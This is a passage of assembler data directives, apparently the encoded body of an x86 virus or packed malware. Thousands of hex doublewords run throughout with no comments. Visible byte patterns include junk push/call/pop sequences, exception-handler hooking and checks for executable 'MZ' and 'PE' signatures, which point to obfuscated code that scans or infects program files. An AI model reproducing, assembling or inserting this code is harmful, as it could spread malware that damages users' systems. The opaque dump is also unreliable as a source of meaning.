92860F03h, 60000003h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0BBC35242h dd 0B70FB5DEh, 0D98C66F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 75C35646h, 0F59182Ch, 0F98AD9B7h, 0E180F88Bh dd 0AE904h, 86B80000h, 54FFB486h, 21085A9Bh, 840FC90Ah dd 170h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 33C35040h, 559D8BB8h, 8B05E72Ch, 0E7072D85h, 0F9B70F05h dd 2E818533h, 6A05E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 12DCABC3h, 4BCE605Fh, 30C9BD89h dd 0E95005E7h, 6, 0EE3D7FEAh, 4891C49h, 57006A24h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 38BA3E98h, 0B530C7B3h, 816660A8h, 162D6DBh, 0E704658Dh dd 6A006A05h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 67C5C353h, 5DB46C89h, 0B529D172h dd 5E70875h, 19077D68h, 0E0BF6644h, 24348104h, 44060482h dd 1BC78166h, 0E595FF30h, 6A05E720h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 8CEDC351h dd 7988A98Fh, 85899C31h, 5EAA350h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 31C35141h, 5E86D5Dh, 6D000000h dd 0B94136CCh, 98D9D8Bh, 0E95F05E7h, 175h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 8AC35040h, 30CD79ECh dd 55BD8B3Bh, 0E905E72Ch, 8, 200DBB01h, 20ED1585h, 0A348858Bh dd 852905EAh, 5E708C1h, 1800C7h, 8F0F0000h, 2Bh, 0DE8h dd 41AD0400h, 0BAF195C6h, 0A420E6C1h, 13E92D5Bh, 8E000000h dd 0EA429371h, 0B5C83402h, 1B1AE5B0h, 0E933DA2h, 8B5B94EEh dd 0EAA34CB5h, 0BA666005h, 25B5E246h, 81858B61h, 0E905E700h dd 10h, 71036680h, 609B8ACEh, 3B64696Ah, 30D21911h, 0BD890689h dd 5E70E6Dh, 72D858Bh, 0B50105E7h, 5E7064Dh, 0F9044689h dd 8B525050h, 57310FDEh, 0EC4F15BFh, 585A5F31h, 81243489h dd 56D299C7h, 48B5FF71h, 0F05EAA3h, 4E8FAB7h, 0FF000000h dd 0E9001F03h, 10h, 8540211Ah, 4E050275h, 1DC679E7h, 8D8AF0A3h dd 5E950h, 0C3520000h, 8BD5784Bh, 8A042444h, 89008BF9h dd 8B042444h, 858958F8h, 5E71B21h, 0A350858Dh, 958905EAh dd 5E7084Dh, 8B665390h, 50505BDAh, 1151BF52h, 310F3CDBh dd 0DB6DBF53h, 5A5F603Dh, 8A0F9058h, 5, 9DD78166h, 0FF52B7D4h dd 0E720E595h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 8B43E8B6h, 0E72DA9BDh dd 6A6105h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 49A9DEC3h, 665B5175h, 0ECA5CF81h, 0C9985C7h dd 305E7h, 85310000h, 5E72569h, 0A350BD83h, 0F0005EAh dd 3884h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 60B4CF52h, 23A9B52Bh, 0B96605E7h dd 0E9618B68h, 24h, 23958D29h, 8B6605E7h, 0C3050D9h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 4CC35343h, 9269006Dh, 1C343659h dd 0ECCEBF66h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0C9C35040h, 9D895658h, 5E72E1Dh, 99BD835Fh, 305E70Ch dd 45E850Fh, 0FE8B0000h, 151D9D29h, 0BD8305E7h, 5EAA350h dd 49840F00h, 8B000004h, 0E71619BDh, 50B5FF05h, 8105EAA3h dd 6403F3CBh, 12E92Ch, 0C8130000h, 2E5CF9AAh, 0C005740Ch dd 1E3E94CBh, 4E96815h, 2D6995FFh, 0BD8B05E7h, 5E702C1h dd 0A344B58Bh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 66E7F5C3h, 50588C88h, 0C77FE36Bh dd 1000106h, 81665200h, 5B6A79EFh, 0BDBF6696h, 8B6650FBh dd 606096FAh, 37FE82BFh, 615F5109h, 0CE9h, 0AC5BC500h dd 0A6EBFFD1h, 83BF21D3h, 0B5FF6109h, 5EAA350h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0DC35040h, 66FA69F8h dd 0FF1935BFh, 0E7247D95h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0A17E19B5h dd 0BFBC0B4Eh, 11E98E74h, 0A2000000h, 0D71EB048h, 0CD83E3CFh dd 87022FA2h, 90B1D280h, 0C559D8Bh, 0B58B05E7h, 5EAA344h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 23C35646h dd 0E267D870h, 2E760B38h, 0CE906h, 0C65B0000h, 6612ED9Fh dd 0A7781D0Dh, 858B266Ah, 5E703CDh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 79C35040h, 513ED381h, 86895E1Eh dd 0C4h, 14E8h, 64654D00h, 83694337h, 0BD4BA613h, 340C6E14h dd 27C6862h, 0FE806h, 401F0000h, 56182393h, 0AC80E1D1h dd 0DAA5C844h, 8F0FA1h, 5B000000h, 15958B5Bh, 6A05E723h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 7A78C352h, 5BD8B5Bh, 8305E70Eh, 6A04C2h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 35171AC3h, 38B032B3h, 0F2D781E9h, 8B0897F2h, 0E70945BDh dd 20508905h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0F3C35545h, 0B732858Dh, 6A05EAh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 7762DDC3h dd 896B0EE6h, 0B886h, 6ADE8A00h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 99B05934h dd 0F653AC1Dh, 0B5FF6FB4h, 5EAA350h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 7AC35747h, 0EE65CF09h, 4195FFh dd 9D8905E7h, 5E72BADh, 44BB5096h, 961BFE80h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 45C35040h, 0B8641871h dd 50B5FF1Fh, 0F05EAA3h, 485h, 0D6BF6600h, 995FFE6h, 6A05E72Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h dd 8A22C357h, 0B9BD8BFCh, 8305E726h, 0E704F9BDh, 840F0005h dd 17h, 88B0F96h, 50000000h, 0FFB8B52h, 50585A31h, 919D8B96h dd 0FF05E72Fh, 0EAA350B5h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0E717AC41h dd 0EE9B589h, 605205E7h, 26A9B589h, 8D3105E7h, 5E7019Dh dd 95FF5B61h, 5E7071Dh, 0DB30CCBFh, 50B5FF5Dh, 0F05EAA3h dd 95FFDEB7h, 5E70CC5h, 0CE8h, 6760CE00h, 5FA5E7BAh, 7BEB821Dh dd 9D850196h, 5B05E72Dh, 25CDBD83h, 0F0205E7h, 6384h, 0F19D2900h dd 0F05E72Ah, 184h, 858BF800h, 5E70651h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E7C35646h, 37E01506h dd 0B7F6E66Fh, 0C64Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0F7C35242h, 1687B83Ch, 0BF5B7CEFh, 26936072h dd 0DFD85C7h, 5E7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0F04414C3h, 12E9E5h dd 0DCEB0000h, 5BE4A752h, 0A1BB256Dh, 3779A661h, 0BEFE2EBEh dd 0FFF36CE9h, 6AC18BFFh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0CB79C351h, 265CF1DFh dd 89101A58h, 0E70B61B5h, 0F9858D05h, 8B05E71Ah, 0E71B0DBDh dd 3FBF5005h, 895446EDh, 8D892404h, 5E7136Dh, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 4842F9C3h, 16A9BD8Bh, 6A05E7h, 2423858Dh, 0BD0B05ECh dd 5E7031Dh, 6A05C083h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0C473C356h, 0E19589D3h dd 9005E70Eh, 52505060h, 585A310Fh, 5052505Bh, 5A310F52h dd 0E8310F58h, 10h, 312C7C52h, 81A549F9h, 0CF73A7B7h, 892D06AFh dd 61585A5Bh, 52506050h, 310FF78Ah, 5AC88B66h, 61C18B58h dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 0A2C87B75h, 11BD8B5Ch, 6A05E72Fh, 9AEB8100h dd 6A654419h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 3980F4A8h, 0DF7D860h, 95FFE2B7h dd 5E702C5h, 2398D09h, 8D8D05E7h, 5EA9514h, 1B11BD8Bh dd 0D1FF05E7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 1C35545h, 2FC7E8AAh, 649A5791h, 83D8B70Fh, 0E707F1BDh dd 850F0105h, 8Ch, 26ADA8Bh, 525090F9h, 48E0Fh, 0BB660000h dd 310F6F03h, 8B665250h, 50310FD8h, 5A585A5Bh, 52505058h dd 0EE9h, 2A986500h, 0B4FD50DAh, 8739316Ch, 0F290181h dd 0BE831h, 24C50000h, 862A2CBFh, 4F01AF60h, 5B61603Fh dd 0F990585Ah, 13E8h, 0C215D800h, 8731321Ah, 21F2A4C9h dd 0CBDD2CA8h, 0A964E753h, 0A0EF8166h, 95FF5BBAh, 5E70041h dd 11E8h, 9133D800h, 789D6293h, 7B58BD27h, 1AFB118Dh, 5FF8F351h dd 0F42E9h, 0E800h, 815D0000h, 0EC242DEDh, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 190EC400h, 521C8521h, 5B858DE7h, 6A05EA8Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0FA4EC351h, 0FBC2BC00h, 0E9BD8B9Dh, 5005E70Dh, 29240489h dd 0E7147DBDh, 35FF6405h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0EC35242h dd 41BD3338h, 6405E720h, 2589h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 4AF45AC3h dd 0E185FFC2h, 6A05E71Ch, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 5172C350h, 7E3731Bh dd 5E9FF6Ah, 0E0000000h, 0C04B6BB8h, 17DB5FFh, 6A05E7h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0A6BDFDC3h, 0D928764Dh, 0E82D37FEh, 6, 99D13EF1h, 8B5382CCh dd 0E72B75BDh, 8B5F5B05h, 0E707A5BDh, 0F99D8B05h, 0FF05E700h dd 0E729C195h, 140E905h, 0BD8B0000h, 5E71C55h, 13E900B0h dd 54000000h, 0ABEEEFB8h, 0C7AE781Eh, 18475945h, 0D698B16Ah dd 70E63420h, 5B59D0Bh, 71E405E7h, 0BBA92FBBh, 0F613C7Ah dd 10983h, 7E900h, 0C3F00000h, 0F255D9A1h, 0C8B60F08h dd 6800Fh, 85890000h, 5E70071h, 6BAh, 13E900h, 9E4D0000h dd 1E160F8h, 0DC0C7689h, 0BFB08FBDh, 7A0B3CD8h, 66C18BECh dd 0E9DC7CBFh, 9, 0D7068971h, 0D38964C7h, 4E8C1F2h, 1BA9B509h dd 0F76605E7h, 0F38166E2h, 0C82B86AFh, 85BD2950h, 5F05E723h dd 5E9D18Bh, 7C000000h, 0BAA4918Ah, 91E9h, 63BB6600h, 4C858B21h dd 8B494755h, 0E70D2DBDh, 7C08305h, 8E8h, 33346B00h, 0D95CD2CDh dd 665FF87Ah, 26A0DB81h, 6000C083h, 20518503h, 858B05E7h dd 5E70955h, 3BF98B61h, 11830FD0h, 8B000000h, 0E726F1BDh dd 44E905h, 85890000h, 5E70701h, 0FFFF8D8Bh, 0FE8BFFFFh dd 0F01E183h, 2D84h, 59958900h, 0F05E723h, 83h, 0FFA58300h dd 0FEFFFFFFh, 3880Fh, 0B70F0000h, 4C9589FFh, 1494755h dd 0E732619Dh, 0E905h, 0B58D0000h, 5EBA18Fh, 2E49BD8Bh dd 6A05E7h, 515BD8Bh, 95FF05E7h, 5E71A1Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 5C35747h, 42612573h dd 0E8FD8A20h, 11h, 754B7EE3h, 782518E8h, 4B041E1Fh, 83D0372Bh dd 0C1950168h, 5F05E715h, 0EF7B9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 18FAF6E1h dd 96C1CAA7h, 0E1835487h, 68A0FFCh, 81000000h, 0B34CC9C7h dd 0BF0FFC77h, 89C02BDEh, 0E70BC1BDh, 6AD22B05h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0E2D5C353h, 0FDE2F0Eh, 683h, 0CD9D0B00h, 0AD05E726h dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 29DCC352h dd 0F59D8B7Eh, 6A05E705h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 1D67C353h, 97EE631Ah dd 880DE0F6h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 32A1C350h, 8166F526h dd 8B4476F7h, 0E7231595h, 0C880F05h, 0F000000h, 68Ah, 55BD8B00h dd 8B05E72Ah, 0E708B98Dh, 0BE905h, 72590000h, 0B6D1C595h dd 58401E43h, 0C28B5024h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0A091C357h, 0E7BC936Bh, 6A750647h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0CCC0C355h, 94B12EBBh, 0AE85Ch, 5E410000h dd 35EED12Dh, 8D4C24B4h, 359BD89h, 835F05E7h, 0E7211DBDh dd 840F0005h, 0A4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 6CC35545h, 3CA2E8DFh, 3E77CA35h, 2DD19D29h dd 852905E7h, 5E71ADDh, 0B8h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 8D4A6CB7h dd 0E74DFA8Dh, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 2352496Ch, 0E70D559Dh dd 6AE1FF05h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 69BBC350h, 5B5BD89h, 0F98A05E7h dd 0C99BD83h, 0F0005E7h, 47C84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 3B7D8BDEh dd 0EE9h, 5E332F00h, 0F109F4EFh, 84D245C6h, 8318DC39h dd 0E70C99BDh, 840F0105h, 458h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 5EC35646h, 0C7A47C0Ah, 9F7C932Bh dd 1DB5BBBBh, 1B58959h, 8305E707h, 0E70C99BDh, 860F0305h dd 3E6h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0DDC35646h, 49DB912Bh, 60734AE7h, 0D0CC42BBh, 0ED9D8936h dd 8005E72Bh, 6A6051F7h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0F6EC356h, 684h, 15852900h dd 6605E72Ch, 13E9D98Ch, 0A0000000h, 84B738FEh, 0CA49948Ch dd 53F505D3h, 95878DE9h, 0E1801438h, 0C90AFC04h, 0F4840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 5A3E0C3h, 0EDBD0305h, 8B05E72Bh, 0E70579BDh dd 2D858B05h, 105E707h, 0E727C595h, 81853305h, 6A05E72Eh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0F3B2C352h, 0BF20E33Eh, 32B37680h, 48950F5h dd 218D8924h, 6A05E70Dh, 0DF8B6600h, 25C1B589h, 36805E7h dd 0F74DB4Ch, 8Dh, 24348100h, 74C44FFCh, 29F98B66h, 0E71CC59Dh dd 0E595FF05h, 6A05E720h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0E32CC357h, 38FDEC8Eh dd 8DBD032Ch, 8905E700h, 0EAA35085h, 29B58905h, 0E905E70Eh dd 236h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 35C35242h, 0EB8166B9h, 858B19CAh, 5EAA348h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 13C35343h, 26600740h dd 66511304h, 0C73028BFh, 1800h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0B17AAE35h dd 5681188h, 0BDDF80BCh, 0A34CB58Bh, 6A05EAh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0C9D8A2C3h dd 6651F427h, 0AF5EDB81h, 0CE95Bh, 16740000h, 21F815AEh dd 0C30B13B6h, 858BA2D2h, 5E70081h, 6A0689h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F5FA90C3h dd 72D858Bh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0D79334C3h, 0B87DF66Ah, 89D07D9Eh dd 0E70BF5BDh, 4468905h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 9CC35545h, 84496616h, 0DE9h, 6CC8F500h dd 0D0695EE5h, 7F5B2EC5h, 6160C164h, 0BE850h, 0CB360000h dd 0B45C3F72h, 0EEF6BDCDh, 5B5B534Ch, 8B243489h, 0E700A59Dh dd 48B5FF05h, 6A05EAA3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h dd 16042444h, 46000000h, 830C356h, 68C6B717h, 1481A51Ch dd 0D163E5BFh, 2434812Dh, 149EA6E3h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0E5C35747h, 52FCD705h, 0CE907h dd 33F80000h, 18E3B631h, 3F9EEA16h, 858DAAA8h, 5EAA350h dd 0E942C780h, 0Fh, 9CB89B42h, 20C96B46h, 471F7761h, 90C0FA0Eh dd 0AE95250h, 0E000000h, 379E7258h, 85C2AECDh, 66310F7Fh dd 5A5B93BFh, 8B665058h, 0FFFC90DAh, 0E720E595h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0C8A130B3h, 19973798h, 81612CE8h, 0B52D6DEBh, 0DE92Ah dd 80D60000h, 7DF3874Bh, 0DCC54E93h, 0C74D4C64h, 0E70C9985h dd 305h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 82D3D977h, 0A350BD83h, 0F0005EAh dd 0D84h, 0E9C5B700h, 21h, 2CC19589h, 305005E7h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0C78166C0h dd 85299501h, 5E71C05h, 0C99BD83h, 0F0305E7h, 4DF85h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0E92DE624h, 7FBC4B97h, 14E9DFh, 30170000h, 0D69FE965h dd 1586192Dh, 0C9806460h, 0E25B53FFh, 0BD833A64h, 5EAA350h dd 95840F00h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 8738C356h, 0A7FF3D96h dd 0F0DFDCBh, 87h, 50B5FF00h, 6A05EAA3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0E742C350h dd 50E7FF7Dh, 0A59D8BA0h, 0FF05E721h, 0E72D6995h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0E301FB96h, 5E952h, 36B00000h, 5BB237CDh, 0A344B58Bh dd 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 8F1D3AC3h, 2BFD7110h, 9E9F1h, 9F70000h, 87F5D102h dd 0C70D7ECDh, 1000106h, 69BD8900h, 9605E732h, 0EE8h, 340AF00h dd 0EF61DABh, 2B6D59FBh, 0BBBBFD81h, 4BC6A1F9h, 5250505Bh dd 8DA7BF66h, 5250310Fh, 310F6160h, 1264BB66h, 585A585Ah dd 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 220CDC6Dh, 8066EC69h, 6E872D3h, 6A000000h dd 0CB507820h, 89BF6604h, 0B5FF5B6Bh, 5EAA350h, 0CE8h dd 1C15EA00h, 0F3D6602h, 0C0976803h, 61BD092Dh, 5F05E707h dd 247D95FFh, 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0B5179AC3h, 6390A885h, 12E9F85Ch dd 64000000h, 1A8CC25Fh, 407533DCh, 4EC84789h, 870A0B2Ch dd 44B58B58h, 6A05EAA3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0C23DC353h, 0D0D137B2h dd 0BD33365Dh, 5E70899h, 3CD858Bh, 6A05E7h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 5A4223C3h dd 0BD8BFC49h, 5E71C31h, 0C48689h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 81BAB1C3h dd 0E94E2FFEh, 0C9BFACB2h, 8B229527h, 0E7231595h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0F98BE6B3h, 6A04C283h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 9F82C357h, 0CE8h, 0E5D64700h dd 54332D20h, 11BB35AFh, 21952999h, 5B05E728h, 89205089h dd 0E720C9BDh, 0AE905h, 0BD910000h, 674C1612h, 3CFD0866h dd 0B732858Dh, 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 868911C3h, 0B8h, 0B4BB6656h, 6A5F9Ah dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 2CC35040h dd 3CAD011Dh, 4A55610Eh, 8B66DD8Ah, 50B5FFF9h, 6A05EAA3h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 3025C350h, 0FFF061C3h, 0E7004195h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 24AEF763h, 25699D8Bh, 666005E7h, 213F181h, 50618DB5h dd 0FCA8B60h, 8Eh, 34896100h, 0CF815724h, 6A74ACF4h, 50B5FF5Bh dd 6A05EAA3h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0D032C353h, 2A0995FFh, 6A05E7h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0A9F29CC3h, 3E34FF5h, 4F9BD83h, 0F0005E7h, 4A84h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0D445B81Ah, 850F967Bh, 15h, 9E8h, 55536100h, 7AFCBFF4h dd 850F4BD7h, 0 dd 6660505Bh, 0CE8BD38Bh, 81669661h, 0FF9755E3h, 0EAA350B5h dd 95FFF505h, 5E7071Dh, 8880Fh, 8B520000h, 0E703E59Dh dd 0B5FF5F05h, 5EAA350h, 9F88DABFh, 0C595FF60h, 0E905E70Ch dd 5, 31A36CDEh, 0CDBD8386h, 205E725h, 45840Fh, 0EF810000h dd 77D827B4h, 651858Bh, 0BB6605E7h, 0C6A541h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0DFBF51BCh, 5F2F98D3h, 0AE9h, 3E092B00h, 2F34F7B9h dd 0C705C8A4h, 0E70DFD85h, 5, 57BF5200h, 5B77D621h, 0FFF20BE9h dd 0E19D8BFFh, 0F05E732h, 1789h, 12E900h, 472F0000h, 5640BC1Eh dd 1E549449h, 0C15B4853h, 0EF0B0FB5h, 6AC18Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0A0D952C3h, 0BF669723h, 9D8BEEA0h, 5E70F11h, 19850Fh dd 14E90000h, 0BF000000h, 0FE5BFF01h, 0A8743141h, 9E427F89h dd 0FFAF3E07h, 0BAD25539h, 0F00E0000h, 0EA81h, 0C283F000h dd 9958914h, 8305E706h, 858D14EAh, 5EC3410h, 35FF6450h dd 0 dd 258964h, 0E8000000h, 0 db 'X+Â%',0 db 0F0h, 2 dup(0FFh) dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh dd 9D8589C8h, 305E704h, 0B70F3C40h, 95890650h, 5E727E5h dd 8950508Bh, 0E71CFD95h, 0F80505h, 508B0000h, 89D1030Ch dd 0E716C995h, 8500305h, 5419589h, 8F6405E7h, 5, 4C48300h dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 3301BD83h, 0F0005E7h, 2484h, 0F985C600h, 4705E707h dd 9AA7D268h, 0C5B5FFD4h, 8D05E72Dh, 0EA796385h, 6AD0FF05h dd 89D0FF00h, 0E7236985h, 0E8D38B05h, 6, 2DDBF59Dh, 32B8244Ch dd 5B684533h, 3870Fh, 0B70F0000h, 85C381F6h, 0E900005Ch dd 8, 208762CDh, 0E68748BFh, 16F668h, 56566000h, 0D7815E5Ah dd 6778C20Ah, 0B70F5961h, 5A33FFC7h, 0D8A1B866h, 6491EA81h dd 0E953014Dh, 0Fh, 56083998h, 4535D941h, 0E796E1CFh, 5E748A71h dd 420EEA81h, 0F2812EB8h, 5A35FF5Ch, 68A0F60h, 81000000h dd 0DF92B6D0h, 5BF85133h, 0F98B5261h, 8B66038Fh, 2EB83FAh dd 9E94B4Bh, 8A000000h, 0C8AB1049h, 18F9AE72h, 0F01E983h dd 0FFFF9C85h, 5E852FFh, 60000000h, 0EBD71A29h, 58F7F080h dd 0D68D8D58h, 6A05EC35h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0E689C353h, 9D8998F8h dd 5E720FDh, 89F2B70Fh, 0E723158Dh, 0C1BD8B05h, 0C705E70Bh dd 0E708B985h, 606405h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 0E695FDA3h, 0C72DC8BCh dd 0E70C9985h, 5, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0D66547DCh, 8B5D102Bh dd 0C5B5FFD9h, 8105E708h, 118DAFF6h, 0CD95FF24h, 6A05E732h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0AEEBC357h, 95FF006Ah, 5E71A1Dh, 78EBC08Bh dd 0A5AF8478h, 92857797h, 8A0F4EFDh, 4C979402h, 0D4AC136h dd 479D2B39h, 2D9941Ch, 7B947681h, 55183889h, 5BE0C92Bh dd 7101F939h, 7FF3C99Ch, 828E018Ch, 0BB987C3Eh, 606541EAh dd 842B5A54h, 0A9379AB0h, 513BA480h, 1D594BA2h, 0E43EBAECh dd 32B6EE40h, 0D6419D55h, 5323BCEFh, 0F59FDFFh, 0EB35DFEFh dd 0C0761524h, 16F73B12h, 0CCF4845Fh, 0A160B80Fh, 5F19B418h dd 376D8D8Dh, 6A05ECh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 88AB50C3h, 5C0CF6DBh, 18C2CE81h dd 8D894347h, 5E72315h, 0C7D98B66h, 0E708B985h, 71AC05h dd 56006A00h, 3E8h, 0C35E2000h, 